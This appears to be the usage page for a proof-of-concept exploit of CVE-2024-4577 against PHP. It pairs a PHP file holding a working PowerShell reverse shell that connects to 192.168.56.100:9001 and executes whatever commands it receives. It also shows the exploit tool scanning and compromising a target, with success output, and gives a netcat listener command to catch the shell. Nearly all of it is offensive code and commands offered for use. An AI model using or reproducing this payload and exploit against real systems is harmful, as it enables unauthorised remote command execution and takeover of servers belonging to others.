# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";

exec($payload);
?>
 

$ python3 CVE-2024-4577.py -s -t https://target.com/                                                   
  ______     _______   ____   ___ ____  _  _         _  _  ____ _____ _____ 
 / ___\ \   / / ____| |___ \ / _ \___ \| || |       | || || ___|___  |___  |
| |    \ \ / /|  _|     __) | | | |__) | || |_ _____| || ||___ \  / /   / / 
| |___  \ V / | |___   / __/| |_| / __/|__   _|_____|__   _|__) |/ /   / /  
 \____|  \_/  |_____| |_____|\___/_____|  |_|          |_||____//_/   /_/    
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning  

[+] Target https://target.com is vulnerable to CVE-2024-4577

$ python3 CVE-2024-4577.py -t {targetsite.txt} -e -p rev_shell.php
                                                  
 ______     _______   ____   ___ ____  _  _         _  _  ____ _____ _____ 
 / ___\ \   / / ____| |___ \ / _ \___ \| || |       | || || ___|___  |___  |
| |    \ \ / /|  _|     __) | | | |__) | || |_ _____| || ||___ \  / /   / / 
| |___  \ V / | |___   / __/| |_| / __/|__   _|_____|__   _|__) |/ /   / /  
 \____|  \_/  |_____| |_____|\___/_____|  |_|          |_||____//_/   /_/    
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning  

[+] Exploit successful!

$ nc -lvnp 9001